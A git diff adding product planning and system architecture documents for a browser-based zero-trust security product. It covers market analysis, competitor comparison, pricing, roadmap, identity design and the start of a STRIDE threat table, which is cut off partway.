Partial logs, no session replay | Slow triage, higher MTTR | Searchable session + policy event linkage | +| BYOD posture | Inconsistent checks across OS types | Access granted without reliable attestation | Posture-gated access with attestation tiering | +| Audit evidence | Manual exports and spreadsheets | High compliance labor and audit risk | Continuous evidence collection and export APIs | + +### 1.2 Industry Data Baseline (Conceptual Source Set) + +| Data Point | Signal | Planning Interpretation | +|---|---|---| +| Gartner SSE and SASE guidance (2024-2025 research stream) | Browser and identity-centric controls are displacing network-only approaches | Browser-native control plane is strategically aligned | +| Verizon DBIR trends (credential abuse + web app vectors) | Credential theft and session hijack remain top initial access vectors | Password/passkey and session controls are first-order requirements | +| IBM Cost of Data Breach benchmarks | Higher breach cost in regulated sectors; detection and response speed is key cost driver | Session-level telemetry and AI-assisted triage reduce loss exposure | +| CISA and ENISA advisories on phishing and infostealers | Browser-mediated attacks are persistent and adaptive | In-browser anti-phishing and prompt inspection are required | +| PCI DSS v4.0 custom control flexibility | Explicit control evidence quality expectations increased | Product must produce control-level artifacts, not only logs | + +### 1.3 Why Build Now + +1. Bamboo Card already has key integration assets (Wazuh, TheHive, Cortex, MISP, Keycloak), reducing platform bootstrap risk. +2. NNSEC has a natural MSSP channel and certification arm (GACA) to accelerate first customers. +3. Competitors are either browser-only, network-only, or SaaS-bundled with limited deployment flexibility. +4. Chromium governance is difficult but tractable for a focused, senior team with disciplined patch strategy. + +--- + +## 2. Market Analysis + +## 2.1 TAM / SAM / SOM Model + +### Method + +- **TAM**: Global enterprise spend attributable to secure browser + SSE/SASE + DLP + insider-risk adjacent categories that Sentinel consolidates. +- **SAM**: Serviceable market in targeted segments: regulated mid-market/enterprise, fintech, and MSSP channel where multi-tenant white-label is actionable. +- **SOM (18 months)**: Realistic capture through Bamboo anchor + NNSEC direct and partner motions. + +| Metric | Assumption Set | 2026 Estimate (USD) | +|---|---|---| +| TAM | Global browser security + SSE/SASE + enterprise DLP budget slices addressable by consolidation | `$35B-$50B` | +| SAM | Geographies and sectors reachable by NNSEC/Bamboo network, product maturity v1-v2, compliance fit | `$1.2B-$2.0B` | +| SOM (18 months) | 8-20 paying orgs, 5k-40k seats blended ACV by tier | `$6M-$18M ARR` | + +### SOM Build-Up Scenario + +| Segment | Customers (18 mo) | Avg Seats | ARR per Customer | ARR Range | +|---|---|---:|---:|---:| +| Design-partner enterprise | 3-5 | 1,500 | $180k-$450k | $0.5M-$2.2M | +| Regulated mid-market | 4-10 | 800 | $90k-$240k | $0.4M-$2.4M | +| MSSP tenant bundles | 1-5 partners | 3,000 downstream | $300k-$1.2M | $0.3M-$6.0M | +| **Total** | 8-20 | - | - | **$1.2M-$10.6M (conservative)** / **$6M-$18M (targeted)** | + +## 2.2 Competitive Deep-Dive (12 Products, 25 Dimensions) + +Legend: **F** full capability, **P** partial capability, **N** none/native gap, **T** target state for Sentinel. + +Products: +- **PA** Palo Alto Prisma Access Browser +- **IS** Island +- **SF** Surf Security +- **GC** Google Chrome Enterprise Premium +- **ME** Microsoft Edge for Business +- **SE** Seraphic +- **LX** LayerX +- **MN** Menlo Security +- **PP** Perception Point Web Security +- **NL** NordLayer +- **ZS** Zscaler (ZIA/ZPA/CASB) +- **CF** Cloudflare One +- **SN** NNSEC Sentinel target + +| # | Capability Dimension | PA | IS | SF | GC | ME | SE | LX | MN | PP | NL | ZS | CF | SN | +|---:|---|---|---|---|---|---|---|---|---|---|---|---|---|---| +| 1 | Chromium fork control depth | F | F | F | P | P | N | N | N | N | N | N | N | **T(F)** | +| 2 | Extension-companion mode | P | P | P | P | P | F | F | N | P | N | P | P | **T(F)** | +| 3 | Per-app policy granularity | F | F | F | P | P | P | P | P | P | P | F | F | **T(F)** | +| 4 | Screenshot prevention | F | F | P | P | P | P | P | P | N | N | P | P | **T(F)** | +| 5 | Clipboard controls | F | F | P | P | P | P | F | P | N | N | P | P | **T(F)** | +| 6 | Dynamic watermarking | F | F | P | P | P | N | P | P | N | N | P | P | **T(F)** | +| 7 | Session recording | F | F | P | N | N | N | P | P | N | N | P | P | **T(F)** | +| 8 | Regex-based DLP | F | F | F | F | F | P | F | P | P | P | F | F | **T(F)** | +| 9 | Exact Data Matching (EDM) | P | P | P | P | P | N | P | N | N | N | F | F | **T(F)** | +| 10 | Document fingerprinting | P | P | P | P | P | N | P | N | N | N | F | F | **T(F)** | +| 11 | OCR for image DLP | P | P | P | N | N | N | P | P | P | N | F | F | **T(F)** | +| 12 | GenAI prompt inspection | F | P | F | P | P | P | F | P | P | N | P | P | **T(F)** | +| 13 | RBI fallback | F | P | P | N | N | N | N | F | P | N | F | F | **T(F selective)** | +| 14 | SWG URL filtering | F | P | P | P | P | N | P | F | F | F | F | F | **T(F)** | +| 15 | CASB shadow IT | F | P | F | P | P | P | F | F | P | P | F | F | **T(F)** | +| 16 | ZTNA app access | F | P | P | N | N | N | N | P | N | F | F | F | **T(F)** | +| 17 | WireGuard-grade VPN | N | N | N | N | N | N | N | N | N | F | P | P | **T(F)** | +| 18 | Dedicated customer gateways | P | N | N | N | N | N | N | P | N | F | F | F | **T(F)** | +| 19 | Dedicated static IP | P | N | N | N | N | N | N | P | N | F | F | F | **T(F)** | +| 20 | DNS filtering resolver | F | P | P | P | P | N | P | F | P | F | F | F | **T(F)** | +| 21 | Enterprise password vault | N | P | N | P | P | N | N | N | N | N | N | N | **T(F)** | +| 22 | SCIM + JIT lifecycle | F | F | F | F | F | P | P | P | P | P | F | F | **T(F)** | +| 23 | Device posture attestation | F | P | F | P | F | P | P | P | N | P | F | F | **T(F)** | +| 24 | UEBA / insider-risk scoring | P | P | P | P | P | P | P | P | P | N | F | P | **T(F)** | +| 25 | MSSP-native multi-tenancy | P | P | P | P | P | P | P | P | P | P | P | P | **T(F day 1)** | + +### Competitive Positioning Summary + +- No single competitor combines **native fork control depth + ZTNA/VPN + password vault + compliance evidence + MSSP-first tenancy** in one product family. +- Sentinel risk is not feature imagination, it is execution cadence and quality on Chromium and distributed infrastructure. + +## 2.3 Build vs Buy vs Integrate (Strategic Components) + +| Capability | Build | Buy | Integrate | Decision | Rationale | +|---|---|---|---|---|---| +| Browser core controls | High effort | Not practical | Chromium upstream baseline | **Build + upstream integrate** | Core moat; cannot outsource security boundary | +| Identity & SSO | Medium | Commercial IdP broker possible | Keycloak, Okta, Entra | **Integrate-first** | Faster compliance and federation maturity | +| Threat intel | Medium | Premium feeds expensive | MISP/OpenCTI + selective paid feeds | **Integrate + normalize** | Balanced cost and depth | +| Malware detonation | High | Managed sandbox APIs available | CAPE/Cuckoo | **Hybrid** | Start open-source; add paid detonation if needed | +| Password vault crypto core | High | White-label SDK possible | 1Password migration bridge | **Build with narrow v1** | Strategic but scope-limited in v1 | +| RBI | High | Menlo-style full stack costly | Kasm/Neko primitives | **Selective integrate/build** | Use as policy fallback, not universal path | +| Billing | Low | Stripe mature | Stripe + internal ledger | **Integrate** | Commodity domain, avoid bespoke complexity | + +--- + +## 3. Product Positioning and ICP + +## 3.1 Positioning Statement + +**NNSEC Sentinel** is the browser-native zero-trust control plane for regulated organizations that need enforceable policy on unmanaged and managed devices without stacking multiple disjoint security products. + +## 3.2 ICP Definition + +| ICP Tier | Profile | Core Pain | Required Controls | Buying Motion | +|---|---|---|---|---| +| Primary | Regulated fintech and payment orgs (200-5,000 employees) | PCI scope expansion, contractor/BYOD risk, audit burden | DLP, session recording, device posture, compliance evidence | CISO + Head of Compliance + IT Ops | +| Secondary | MSSPs serving SMB-midmarket regulated clients | Tool fragmentation across tenants, low analyst leverage | Multi-tenant management, white-labeling, policy templates | Partner program + channel sales | +| Tertiary | Dev-centric tech firms with mixed endpoints | Source code/data exfiltration via browser/GenAI tools | Fine-grained browser DLP and policy-as-code | Security engineering + platform | + +## 3.3 Enterprise Requirements Definition + +Sentinel defines "enterprise-grade" as: +1. SSO federation + SCIM + role delegation +2. Multi-region HA with explicit RPO/RTO and tested failover +3. Evidence-grade immutable logging +4. Formal release channels and rollback +5. Control-level compliance mapping exports +6. Tenant isolation with blast-radius limits +7. Performance SLOs with p95/p99 budgets +8. Auditable policy lifecycle with approvals and rollback history + +--- + +## 4. High-Level Architecture + +```mermaid +flowchart LR + subgraph EP[Endpoints] + B[Sentinel Browser
Windows/macOS/Linux] + M[Mobile Companion
iOS/Android] + A[Device Posture Agent
osquery-based] + end + + subgraph CP[Control Plane] + ID[Identity Broker
OIDC/SAML/SCIM] + TM[Tenant Manager] + PE[Policy Engine
OPA/Rego] + DLP[DLP Inspection Service] + TI[Threat Intelligence Hub] + UEBA[Session + UEBA] + AI[AI Analyst Service] + AUD[Audit Log Service
Merkle chained] + UPD[Update Service] + BILL[Billing + Licensing] + end + + subgraph DP[Data Plane] + GW[ZTNA/VPN Gateway
WireGuard + SPIFFE] + DNS[DNS Filtering Resolver] + FW[Cloud Firewall
L4-L7] + RBI[RBI Pool
Selective] + end + + subgraph INT[Integrations] + WZ[Wazuh + OpenSearch] + HH[TheHive + Cortex] + MI[MISP] + KC[Keycloak] + HR[HiBob] + GH[GitHub Enterprise] + MDM[Jamf/Mosyle/Intune] + end + + B --> ID + B --> PE + B --> DLP + B --> GW + M --> ID + A --> PE + A --> ID + GW --> DNS + GW --> FW + PE --> TI + DLP --> UEBA + UEBA --> AUD + AUD --> AI + UPD --> B + TM --> BILL + ID <---> KC + TI <---> MI + UEBA --> WZ + UEBA --> HH + TM <---> HR + ID <---> GH + A <---> MDM +``` + +### 4.1 Initial Performance Budgets (v1) + +| Flow | Target | +|---|---| +| Policy fetch after login | `<200ms` p95 within same region | +| Synchronous DLP decision | `<50ms` p95, `<120ms` p99 | +| URL threat verdict lookup | `<30ms` p95 (hot cache) | +| Session event ingest | 20k events/sec per ingest shard | +| Gateway throughput | 1 Gbps per user target on enterprise profile (regional variance noted) | +| Browser cold-start regression vs stock Chromium | `<=15%` | + +## 4.2 Inline ADR Set (Major Decisions) + +### ADR-001: Native Chromium Fork vs Extension-Only +- **Context**: Need hard controls (screenshot, clipboard, download, rendering path awareness) that extensions cannot fully enforce. +- **Options considered**: (1) Extension-only, (2) Managed stock Chromium, (3) Forked Chromium + optional extension companion. +- **Decision**: Adopt **forked Chromium core** with extension companion mode for non-managed edge cases. +- **Consequences**: + - Positive: deep control surface, differentiated enforcement capability. + - Negative: heavy maintenance burden and upstream merge discipline required. + - Neutral: requires dedicated Chromium expertise and CI cost. +- **Alternatives rejected**: + - Extension-only rejected because privileged events and anti-tamper guarantees are incomplete. + - Stock-managed browser rejected because core telemetry and policy hooks are constrained by vendor ecosystems. +- **Revisit trigger**: If Chromium patch delta exceeds 2x planned maintenance cost for two consecutive quarters. + +### ADR-002: MSSP Multi-Tenancy from Day One +- **Context**: NNSEC go-to-market includes direct MSSP resale and white-label operations. +- **Options considered**: (1) Single tenant v1 then migrate, (2) Multi-tenant logical isolation, (3) Separate stacks per tenant. +- **Decision**: **Logical multi-tenancy v1** with strong RLS and tenant-scoped keys, optional dedicated stacks for Enterprise. +- **Consequences**: + - Positive: aligns product with channel motion from first release. + - Negative: authorization and data-isolation complexity increases. + - Neutral: requires strict tenancy testing harness. +- **Alternatives rejected**: + - Single-tenant-first rejected due re-architecture risk and partner misfit. + - Fully separate stack per tenant rejected due cost and operations inefficiency at early stage. +- **Revisit trigger**: If regulated design partners require dedicated infrastructure as default procurement condition. + +### ADR-003: OPA/Rego as Policy Runtime +- **Context**: Need deterministic, testable, explainable policy evaluation with low latency. +- **Options considered**: (1) OPA/Rego, (2) AWS Cedar, (3) Custom DSL engine. +- **Decision**: **OPA/Rego primary**, Cedar adapter evaluated for AWS-heavy tenants. +- **Consequences**: + - Positive: mature ecosystem and strong policy-as-code fit. + - Negative: learning curve for non-engineering policy authors. + - Neutral: requires policy tooling and lint pipeline. +- **Alternatives rejected**: + - Cedar rejected for primary due narrower operational familiarity outside AWS-first teams. + - Custom engine rejected due verification and maintenance burden. +- **Revisit trigger**: If policy authoring friction remains high after NL-to-policy compiler and GUI authoring in beta. + +### ADR-004: Hybrid PoP Strategy (AWS Global Accelerator + selective regional PoPs) +- **Context**: Need global reach without hyperscale edge-network burn. +- **Options considered**: (1) Build full private PoP mesh early, (2) Cloud-only regions, (3) Hybrid accelerator + strategic PoPs. +- **Decision**: **Hybrid model** with staged PoP expansion based on customer concentration. +- **Consequences**: + - Positive: faster launch and lower capex. + - Negative: some geographies may have latency variance pre-expansion. + - Neutral: operations playbook must support mixed topology. +- **Alternatives rejected**: + - Full private mesh rejected due excessive early capex and staffing requirements. + - Cloud-only rejected for long-term egress cost and dedicated-IP expectations. +- **Revisit trigger**: If >25% traffic experiences >80ms RTT above target for two consecutive months. + +### ADR-005: Open-Core Licensing Model +- **Context**: Need developer trust, faster adoption, and commercial defensibility. +- **Options considered**: (1) Fully closed source, (2) Fully open source, (3) Open-core split. +- **Decision**: **Open-core** (community security baseline + commercial enterprise modules). +- **Consequences**: + - Positive: improves adoption and transparency while preserving monetizable features. + - Negative: licensing boundary governance required. + - Neutral: demands legal process for contribution and dependency auditing. +- **Alternatives rejected**: + - Fully closed rejected due slower ecosystem growth and reduced trust with security buyers. + - Fully open rejected due limited margin on advanced enterprise capabilities. +- **Revisit trigger**: If conversion from community to paid remains below target for 3 release cycles. + +--- + +## 5. Commercial Model (Open-Core, Tiers, MSSP) + +## 5.1 Packaging Strategy + +| Tier | Target Buyer | Indicative Price | Core Inclusions | Exclusions | +|---|---|---:|---|---| +| Community | Security engineering teams | Free | Core browser controls, baseline policy, local telemetry | No multi-tenant SaaS control plane, no premium compliance exports | +| Team | SMB security admins | `$12-$18` / user / month | Managed policy, basic DLP, SSO | Limited session recording retention, no advanced UEBA | +| Business | Mid-market regulated | `$25-$40` / user / month | Advanced DLP, session recording, threat intel hub, API access | No dedicated infrastructure default | +| Enterprise | Regulated enterprise | `$45-$75` / user / month + platform fee | Dedicated gateways, static IP, advanced compliance pack, premium support | - | +| MSSP | Service providers | Volume + tenant bundle pricing | White-label console, cross-tenant operations, delegated RBAC, billing APIs | - | + +## 5.2 Open-Core Split (Initial) + +| Open-Core (AGPL candidate) | Commercial (EULA) | +|---|---| +| Browser baseline policy hooks | Multi-tenant control plane | +| Policy evaluation runtime integration | Advanced DLP (EDM/fingerprint/OCR tuned packs) | +| Basic telemetry agent + API contracts | Session replay at scale + UEBA models | +| Local developer mode + test harness | MSSP white-label + advanced compliance workspace | +| Documentation and starter policies | AI Analyst assistant + premium threat feeds | + +--- + +## 6. 18-Month Roadmap Overview + +```mermaid +gantt + title NNSEC Sentinel 18-Month Overview + dateFormat YYYY-MM-DD + section Foundation + Repo reset + architecture baseline :a1, 2026-04-15, 45d + Chromium fork bootstrap + CI lanes :a2, after a1, 75d + section Alpha (Bamboo internal) + Policy engine + DLP core :b1, 2026-07-01, 75d + Identity broker + posture checks :b2, 2026-07-15, 75d + Alpha gate :milestone, m1, 2026-08-31, 1d + section Private Beta + Session recording + UEBA v1 :c1, 2026-09-01, 90d + ZTNA/VPN gateway + DNS filtering :c2, 2026-09-15, 90d + MSSP console baseline :c3, 2026-10-01, 75d + Private beta gate :milestone, m2, 2026-11-30, 1d + section Public Beta + Hardening + scale + compliance exports :d1, 2026-12-01, 90d + Mobile companion architecture completion :d2, 2027-01-01, 75d + Public beta gate :milestone, m3, 2027-02-28, 1d + section GA + Production readiness + SRE coverage :e1, 2027-03-01, 60d + GA launch gate :milestone, m4, 2027-04-30, 1d +``` + +### 6.1 Quarter-Level Outcomes + +| Quarter | Engineering Outcome | Commercial Outcome | +|---|---|---| +| Q2 2026 | Architecture locked, core services scaffolded | Design-partner requirements frozen | +| Q3 2026 | Internal alpha with Bamboo users | Security and compliance trial evidence generated | +| Q4 2026 | Private beta with 3-5 organizations | Early ARR and channel validation | +| Q1 2027 | Public beta, reliability hardening | Pipeline conversion and support model tested | +| Q2 2027 | GA, v1.0 controls and integrations stabilized | Enterprise and MSSP expansion | + +--- + +## 7. Financial Model (Headcount, OpEx, CapEx) + +All values are planning ranges in USD. + +| Quarter | Team Size (Approx) | Primary Hiring Mix | OpEx / Month | CapEx / Quarter | Cost Drivers | +|---|---:|---|---:|---:|---| +| Q2 2026 | 2-3 | Chromium + backend | $70k-$120k | $40k-$80k | Build infra, signing certs, core cloud | +| Q3 2026 | 4-6 | +frontend +DevSecOps | $120k-$190k | $60k-$120k | CI scale, security tooling, test devices | +| Q4 2026 | 7-9 | +mobile +SRE seed | $170k-$260k | $80k-$180k | Multi-region env, observability, PoP pilots | +| Q1 2027 | 9-11 | +platform/ML | $220k-$320k | $100k-$220k | Production hardening, support readiness | +| Q2 2027 | 10-12 | +support and partner enablement | $250k-$360k | $120k-$250k | Scale infra, compliance audits, partner ops | + +### 7.1 Unit Economics Guardrails + +| Metric | Target | +|---|---| +| Gross margin (steady state) | `>=70%` | +| Infrastructure COGS per active user / month | `<$6` at 10k seats | +| Support + success COGS per enterprise customer | `<15%` of ACV | +| Payback target (blended) | `<18 months` | + +--- + +## 8. Top 10 Risks (LxI, Mitigation, Residual, Owner) + +Scale: Likelihood (L) 1-5, Impact (I) 1-5. + +| # | Risk | L | I | Mitigation (Technical + Procedural) | Residual Risk | Owner Role | +|---:|---|---:|---:|---|---|---| +| 1 | Chromium patch maintenance overload | 4 | 5 | Patch-budget discipline, upstream sync cadence, automated conflict tests | Medium-High | Browser Platform Lead | +| 2 | DLP false positives degrade user adoption | 4 | 4 | Layered detection tuning, shadow mode, human feedback loops | Medium | Product Security Lead | +| 3 | Tenant isolation bug causing cross-tenant data exposure | 2 | 5 | RLS proofs, tenancy fuzz tests, mandatory code-owner review | Medium | Backend Architect | +| 4 | Gateway throughput misses 1Gbps target in some regions | 3 | 4 | eBPF tuning, regional benchmarking, dedicated PoP expansion triggers | Medium | Network Platform Lead | +| 5 | Compliance mapping gaps discovered during audit | 3 | 5 | Control-evidence matrix automation, pre-audit drills, QSA checkpoints | Medium | Compliance Architect | +| 6 | iOS/Android platform limits reduce parity promises | 4 | 3 | Honest feature flags, MDM-based compensating controls, roadmap transparency | Medium | Mobile Security Lead | +| 7 | Threat-feed quality variance and legal ingestion constraints | 3 | 3 | Multi-feed scoring, legal review of crawlers, confidence weighting | Low-Medium | Threat Intel Lead | +| 8 | Customer pushback on session recording privacy | 3 | 4 | Privacy-by-default masks, scoped capture policies, legal templates | Medium | Trust & Privacy Officer | +| 9 | Hiring scarcity for Chromium specialists | 4 | 4 | Remote hiring in EU/Eastern Europe, contractor bridge plan | Medium-High | Engineering Director | +| 10 | Open-core licensing confusion | 2 | 4 | Clear module boundaries, legal review, SPDX and repo policy | Low-Medium | Product Counsel | + +--- + +## 9. Go / No-Go Gates + +| Gate | Required Evidence | Go Criteria | No-Go Trigger | +|---|---|---|---| +| Alpha (Bamboo internal) | End-to-end enrollment, policy eval, DLP actions, baseline telemetry | 200 pilot users, `<2%` crash rate, `<50ms` DLP p95 in-region | Core browser instability, policy bypass not remediated | +| Private Beta | Multi-tenant ops, design-partner onboarding, compliance evidence exports | 3-5 tenants, tenant isolation tests pass 100%, MTTR `<4h` for P1 | Cross-tenant defects, unresolved P1 security findings | +| Public Beta | Scale and support readiness | 5k active users, 99.9% control-plane SLO for 30 days | Sustained SLO miss or unresolved compliance blocker | +| GA | Security + commercial readiness | External pen-test closure rate `>=95%` high/critical, support/on-call staffed | Critical exploit unresolved, operational readiness gap | + +--- + +## 10. Assumptions & Open Questions + +## 10.1 Assumptions + +1. AWS remains the primary hosting platform with multi-account controls. +2. Enterprise-grade Anthropic API access is available for NL-to-policy and analyst functions. +3. Bamboo Card remains design partner with access to representative workloads. +4. Keycloak remains the default identity broker anchor. +5. Legal and compliance review cycles can run in parallel with engineering. + +## 10.2 Open Questions + +1. Which geographic regions must be in-scope for data residency by GA (UAE-only vs UAE+EU)? +2. Is 1Password migration required at launch or only interoperability bridge mode? +3. What is the initial legal position on blockchain anchoring for audit logs by customer segment? +4. Which MSSP pricing construct is preferred first: seat-based wholesale or platform minimum + usage? +5. What exact minimum mobile control parity is contractual for beta customers? + +--- + +**Deliverable 1 of 15 complete. Ready for Deliverable 2 — proceed?** diff --git a/docs/deliverables/02-system-architecture-document.md b/docs/deliverables/02-system-architecture-document.md new file mode 100644 index 00000000..ee38f4b8 --- /dev/null +++ b/docs/deliverables/02-system-architecture-document.md @@ -0,0 +1,349 @@ +# Deliverable 2: System Architecture Document (SAD) + +## Scope Statement + +This document defines the full system architecture for NNSEC Sentinel across control plane, data plane, endpoint components, identity flows, cloud/on-prem topologies, trust boundaries, and resilience posture. It is implementation-facing and includes formal sequence diagrams, STRIDE threats, and architecture decision records (ADRs) for the top 15 decisions. + +## 1. Full Component Architecture + +```mermaid +flowchart TB + subgraph Endpoint Layer + Browser[Sentinel Chromium Fork] + Mobile[Sentinel Mobile Companion] + Agent[Device Posture Agent] + Native[Native Messaging Host] + end + + subgraph Control Plane + APIGW[API Gateway] + IDB[Identity Broker] + TEN[Tenant Manager] + POL[Policy Engine OPA] + DLP[DLP Inspection] + THI[Threat Intelligence Hub] + SES[Session Recording Service] + UEB[UEBA Pipeline] + AUD[Audit Log Service] + AIA[AI Analyst Service] + LIC[Billing & Licensing] + UPD[Update Service] + NOTI[Notification Service] + end + + subgraph Data Plane + ZTNA[VPN/ZTNA Gateways] + DNS[DNS Filtering] + FWR[Cloud Firewall] + RBI[Selective RBI Pool] + end + + subgraph Data Layer + PG[(PostgreSQL)] + REDIS[(Redis)] + KAFKA[(Kafka)] + OBJ[(S3/MinIO Object Lock)] + OS[(OpenSearch)] + end + + subgraph Integrations + KC[Keycloak] + WAZ[Wazuh/OpenSearch] + HIVE[TheHive/Cortex] + MISP[MISP/OpenCTI] + MDM[Jamf/Mosyle/Intune] + STRIPE[Stripe] + GH[GitHub Enterprise] + end + + Browser --> APIGW + Mobile --> APIGW + Agent --> APIGW + Native --> Browser + APIGW --> IDB + APIGW --> TEN + APIGW --> POL + APIGW --> DLP + APIGW --> SES + APIGW --> AIA + Browser --> ZTNA + ZTNA --> DNS + ZTNA --> FWR + POL --> THI + SES --> UEB + UEB --> AUD + AUD --> AIA + DLP --> KAFKA + UEB --> KAFKA + KAFKA --> OS + SES --> OBJ + IDB --> KC + THI --> MISP + UEB --> WAZ + UEB --> HIVE + Agent --> MDM + LIC --> STRIPE + IDB --> GH + TEN --> PG + POL --> REDIS +``` + +## 2. Sequence Diagrams + +### 2.1 Enrollment + Login + Policy Fetch + +```mermaid +sequenceDiagram + participant U as User + participant B as Sentinel Browser + participant I as Identity Broker + participant K as Keycloak + participant P as Policy Engine + participant D as Device Posture + U->>B: Start first-run enrollment + B->>I: OIDC auth request + PKCE + I->>K: Federation challenge + K-->>I: ID token + groups + I-->>B: Access token + tenant claims + B->>D: Submit posture attestation + D-->>B: posture_score + verdict + B->>P: Fetch effective policy(bundle hash, claims, posture) + P-->>B: Signed policy bundle + ttl +``` + +### 2.2 DLP Decision + Session Record + Breach Response + +```mermaid +sequenceDiagram + participant B as Browser + participant D as DLP Service + participant P as Policy Engine + participant S as Session Service + participant U as UEBA + participant H as TheHive + B->>D: Inspect outbound event(metadata + redacted features) + D->>P: Evaluate action request + P-->>D: decision=allow/warn/block + D-->>B: Enforce decision (<50ms p95) + B->>S: Stream rrweb deltas/video chunks + S->>U: Emit behavior features + U->>H: Raise alert when risk > threshold +``` + +### 2.3 Offboarding + Tenant Provisioning + MSP Onboarding + +```mermaid +sequenceDiagram + participant HR as HiBob + participant T as Tenant Manager + participant I as Identity Broker + participant L as Licensing + participant M as MSP Console + HR->>T: user_status=terminated + T->>I: disable identity + revoke sessions + T->>L: decrement seat usage + M->>T: create managed tenant(profile, branding, region) + T-->>M: tenant_id + bootstrap policy pack +``` + +## 3. Data Flow and Trust Boundaries + +```mermaid +flowchart LR + EU[Endpoint Untrusted Zone] + CP[Control Plane Trusted Zone] + DP[Data Plane Semi-Trusted] + INT[External Integrations] + KMS[KMS/HSM Zone] + EU -->|mTLS + attested token| CP + EU -->|WireGuard tunnel| DP + CP -->|signed events| DP + CP -->|SCIM/OIDC/TAXII| INT + CP -->|envelope encryption| KMS + DP -->|policy decision cache| CP +``` + +| Data Class | Examples | Boundary Rule | +|---|---|---| +| Public | product metadata, docs | No sensitive handling required | +| Internal | operational metrics | mTLS in transit, 30-day retention | +| Confidential | user identity, SaaS inventory | tenant-scoped encryption + RLS | +| Restricted (PCI/PII) | card-like patterns, session snippets | field-level controls + redaction + key isolation | + +## 4. Deployment Topologies + +### 4.1 AWS Primary + +| Layer | Design | +|---|---| +| Networking | Multi-account, per-env VPC, private subnets for services, public ALB only for ingress edge | +| Compute | EKS for services, managed node groups, Bottlerocket AMIs for gateway nodes | +| Data | RDS PostgreSQL Multi-AZ, MSK for Kafka, OpenSearch, S3 object lock | +| Edge | AWS Global Accelerator + regional gateway pools | +| Security | AWS WAF + Shield + GuardDuty + IAM Identity Center | + +### 4.2 Azure and GCP Variants + +| Cloud | Equivalents | +|---|---| +| Azure | AKS, PostgreSQL Flexible Server, Event Hubs/Kafka-compatible, Front Door, Key Vault | +| GCP | GKE, Cloud SQL, Pub/Sub + Kafka bridge, Cloud Armor, Cloud KMS | + +### 4.3 On-Prem / Air-Gapped Variant + +- Kubernetes (RKE2 or OpenShift), external PostgreSQL cluster, MinIO object lock, Kafka (KRaft), OpenSearch. +- Offline licensing uses Ed25519-signed time-bounded token bundle. +- Update channels via mirrored artifact repository with signed bundles only. + +## 5. Multi-Region Active-Active and DR + +| Service | RPO | RTO | HA Strategy | +|---|---:|---:|---| +| Identity Broker | 1 min | 15 min | Active-active, token signing key replication | +| Policy Engine | 0-1 min | 5 min | Stateless horizontal scale + redis warm cache | +| DLP Service | 1 min | 10 min | Regional shards + queue replay | +| Session Recording | 5 min | 30 min | Cross-region object replication | +| Audit Log Service | 0 min logical | 15 min | Merkle chain replication with sequence checkpoints | +| Gateway/ZTNA | near-0 | 5 min | Anycast failover and regional draining | + +## 6. Port and Protocol Matrix + +| Source | Destination | Port | Protocol | Purpose | +|---|---|---:|---|---| +| Browser | API Gateway | 443 | HTTPS/mTLS optional | control-plane API | +| Browser | Gateway | 51820 | WireGuard/UDP | secure tunnel | +| Services | OPA sidecar | 8181 | HTTP local | policy queries | +| Services | PostgreSQL | 5432 | TLS | transactional storage | +| Services | Kafka | 9093 | TLS/SASL | event stream | +| Services | OpenSearch | 9200 | TLS | search and SIEM | +| Services | MinIO/S3 | 443 | HTTPS | recording storage | +| Integrations | Keycloak | 443 | OIDC/SAML | federation | +| Integrations | MISP | 443 | TAXII/STIX | threat intel ingest | + +## 7. Identity Architecture + +| Area | Design | +|---|---| +| Federation | OIDC primary, SAML fallback, Keycloak as broker | +| Provisioning | SCIM 2.0 with JIT fallback | +| Token lifecycle | access token 15 min, refresh token 8h, tenant policy TTL 5 min | +| Key rotation | signing keys every 30 days; emergency rotation <1h | +| Device posture | bound to token claims via attestation hash | +| Browser binding | 4-layer enforcement: mTLS client cert + signed attestation header + attestation gateway + IdP conditional access | +| Attestation claims | `device_id`, `posture_score`, `timestamp`, `nonce`, `browser_version`, `os_version`; Ed25519 signed, freshness <= 60s | +| Replay prevention | gateway nonce cache (Redis in production, in-memory for PoC) with 60s TTL | +| Session revocation | near-real-time deny list propagated through Redis/Kafka | + +### 7.1 Browser-Bound IdP Access Sequence + +```mermaid +sequenceDiagram + participant SB as Sentinel Browser + participant AG as Attestation Gateway + participant IDP as Keycloak/IdP + participant AR as Attestation Registry + participant NR as Nonce Cache + SB->>AG: TLS handshake + client cert (mTLS) + AG->>AG: Validate cert chain and mTLS verify signal + SB->>AG: X-Sentinel-Attestation (Ed25519 JWS) + AG->>AR: Resolve device public key and enrollment state + AG->>AG: Verify JWS signature + posture threshold + freshness <=60s + AG->>NR: Check nonce replay; store nonce if new + AG->>AG: Apply CIDR and User-Agent policy guardrails + AG->>IDP: Forward verified request with attestation context + IDP-->>SB: OIDC auth flow + SSO token +``` + +### 7.2 Mechanism Coverage Matrix + +| Mechanism | Blocks standard browser? | Replay resistant? | Spoof resistance | Implementation effort | +|---|---|---|---|---| +| mTLS client cert bound to hardware key | Yes | Medium | High | Medium | +| Signed attestation header (Ed25519) | Yes | High | High | Medium-High | +| Dedicated attestation gateway | Yes | High | High | Medium | +| IdP conditional access (UA + IP) | Partial | Low | Low | Low | + +## 8. STRIDE Threat Model (32 Threats) + +| # | Surface | STRIDE | Threat | Mitigation | Detection | Recovery | +|---:|---|---|---|---|---|---| +| 1 | OIDC callback | Spoofing | token substitution | PKCE + nonce + audience checks | auth anomaly alerts | revoke keys/sessions | +| 2 | SCIM API | Tampering | unauthorized role map | signed SCIM connector credentials | drift monitor | rollback SCIM batch | +| 3 | Browser policy cache | Repudiation | user denies action source | signed event chain | audit verifier | replay chain | +| 4 | DLP pipeline | Info Disclosure | sensitive payload logged | no raw content logging policy | DLP telemetry lint | purge + postmortem | +| 5 | Gateway node | DoS | tunnel flood | per-tenant rate limit + autoscale | node saturation alert | failover region | +| 6 | API gateway | Elevation | authz bypass | OPA deny-by-default | authz mismatch logs | hotfix policy | +| 7 | Session storage | Tampering | recording mutation | object lock + hash chain | integrity check jobs | restore immutable copy | +| 8 | Threat feed ingest | Tampering | poisoned feed | signed feed validation + scoring | outlier detector | quarantine feed | +| 9 | Admin console | Spoofing | phishing admin session | WebAuthn required for admins | impossible travel | session revoke | +| 10 | Tenant manager | Info Disclosure | cross-tenant query | RLS + tenant context enforcement | query audit | emergency isolation | +| 11 | Password vault | Info Disclosure | key derivation weakness | Argon2id, strong params | crypto config drift | force re-enroll | +| 12 | Policy compiler | Tampering | NL prompt injection | constrained schema + static checks | compile diff checks | rollback policy bundle | +| 13 | Update service | Spoofing | malicious update | TUF-style metadata + signature verify | signature failures | kill-switch rollback | +| 14 | Native host | 